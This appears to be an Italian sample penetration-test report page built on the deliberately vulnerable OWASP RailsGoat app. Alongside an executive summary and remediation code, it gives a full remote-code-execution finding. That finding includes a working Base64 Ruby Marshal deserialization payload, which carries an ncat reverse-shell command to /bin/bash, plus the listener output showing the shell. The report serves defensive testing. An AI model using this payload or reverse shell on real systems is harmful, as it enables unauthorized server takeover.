Executive summary
La postura complessiva, i rischi più rilevanti e cosa affrontare prima del rilascio, in una pagina leggibile dal management.
Report di esempio
Un estratto di report costruito sulla valutazione di OWASP RailsGoat, un’applicazione intenzionalmente vulnerabile. Mostra la struttura, la scala di severità e un finding di Remote Code Execution per intero: lo stesso formato che ricevi dopo un incarico reale, senza usare dati di clienti.
Ogni finding nasce per essere riprodotto, capito e corretto dai tuoi sviluppatori.
La postura complessiva, i rischi più rilevanti e cosa affrontare prima del rilascio, in una pagina leggibile dal management.
Componente colpito, prerequisiti d’attacco, passi di riproduzione numerati ed estratti di richieste e risposte.
Dati e azioni esposti, ruoli e tenant coinvolti, condizioni di abuso realistiche e una severità motivata dal comportamento osservato.
Una via di correzione pratica, pattern simili da verificare altrove e lo stato del retest una volta disponibile la fix.
Panoramica teorica delle 13 vulnerabilità RailsGoat, raggruppate per categoria tecnica e criticità stimata.
Pagina di esempio
L’inventario tecnico comprende 13 vulnerabilità, con una stima teorica della severità:
Il report si apre con una sintesi per la direzione: postura, numeri e i rischi che contano di più, prima di ogni dettaglio tecnico.
Pagina di esempio
Questa etichetta sintetizza la postura complessiva dell’ambiente valutato, considerando severità, sfruttabilità e impatto dei rischi osservati.
La postura complessiva di sicurezza di RailsGoat è un’esposizione critica. La valutazione ha rilevato una debolezza nel recupero password che può consentire l’esecuzione di codice da remoto e una compromissione completa del servizio, dei dati e dei segreti accessibili all’applicazione. Il problema deve essere risolto prima di qualsiasi rilascio in produzione.
Le altre aree vulnerabili aumentano il rischio di compromissione degli account e l’impatto di un accesso operativo. La priorità è ridurre l’esposizione del servizio, correggere il recupero password e verificare la chiusura con un retest.
| 01 | Contenere l’esposizione. Mantenere RailsGoat in un ambiente isolato e ruotare le credenziali eventualmente accessibili all’applicazione. |
|---|---|
| 02 | Correggere il recupero password. Implementare un flusso di reset non manipolabile dall’utente e completare la verifica prima del rilascio. |
| 03 | Confermare la chiusura. Ripetere i controlli di sicurezza e ottenere un retest indipendente con esito positivo. |
Ambito dell’estratto: la funzione di recupero password di OWASP RailsGoat.
Causa, prova, impatto, valutazione della severità e rimedio: il finding completo emerso dalla verifica su RailsGoat.
Pagina di esempio
| Complessità remediation | Media |
|---|---|
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 · Deserialization of Untrusted Data |
| OWASP | A08:2021 – Software and Data Integrity Failures |
| Componenti interessati |
Il flusso di reset della password accetta dal client il parametro user, lo decodifica da Base64 e lo passa direttamente a Marshal.load. Poiché Ruby Marshal può ricostruire grafi di oggetti arbitrari, un attaccante remoto può fornire un oggetto appositamente costruito e provocare l’esecuzione di comandi con i privilegi del processo Rails.
Endpoint raggiungibile via rete; nessuna autenticazione richiesta. L’attaccante deve solo ottenere una richiesta valida del flusso di reset e sostituire il campo serializzato prima dell’invio.
Percorso di attacco verificato nell’ambiente RailsGoat isolato:
Codice interessato app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12
Marshal.dump, lo codifica in Base64 e lo inserisce nel campo nascosto user, trasferendo al browser un oggetto che il server considera attendibile.POST /password_resets consente di sostituire il valore del campo user con un payload Marshal controllato dall’attaccante.Marshal.load(Base64.decode64(params[:user])) senza validazione dell’integrità o restrizioni sui tipi deserializzabili.ERB e ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ha eseguito un comando di prova non distruttivo sul server, confermando il controllo del processo applicativo.POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351
user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=xHTTP/1.1 302 Found
Location: /login
$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspicanUn attaccante non autenticato può eseguire comandi nel contesto dell’applicazione Rails. Questo consente potenzialmente di leggere o modificare dati e segreti applicativi, alterare il servizio, muoversi verso risorse raggiungibili dal processo e interrompere l’applicazione. L’effettiva estensione oltre il container o l’host dipende dai privilegi e dalla segmentazione dell’ambiente di deploy.
La compromissione del processo applicativo può interrompere il servizio, esporre dati degli utenti e richiedere rotazione delle credenziali, analisi forense e comunicazioni agli stakeholder. Per un asset esposto, il rischio operativo è incompatibile con il rilascio.
L’attacco è raggiungibile via rete, non richiede autenticazione né interazione della vittima e, una volta costruito il payload, ha bassa complessità operativa. L’esecuzione di codice compromette completamente riservatezza, integrità e disponibilità nel contesto del processo Rails. La valutazione considera i privilegi del processo applicativo, non privilegi aggiuntivi sull’host.
Rimuovere la deserializzazione dal percorso di reset e sostituirla con un token opaco generato dal server. Il controller deve creare un token casuale, conservarne solo l’hash insieme a identità e scadenza, quindi inviare al browser esclusivamente il valore opaco. Alla conferma, cercare il token sul server, verificare scadenza e integrità, consumarlo in modo atomico e rifiutare ogni valore mancante o riutilizzato. Aggiornare il form per non serializzare più l’oggetto utente. Aggiungere test di regressione per payload Marshal arbitrari, token scaduti, token riutilizzati e mismatch tra token e utente.
# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)
# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object
# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeedsLa vulnerabilità è stata riprodotta nell’ambiente di valutazione RailsGoat. Il retest non è stato eseguito.
Dimmi quali asset, ambienti e date vanno inclusi.
Preferisci scrivere direttamente? [email protected]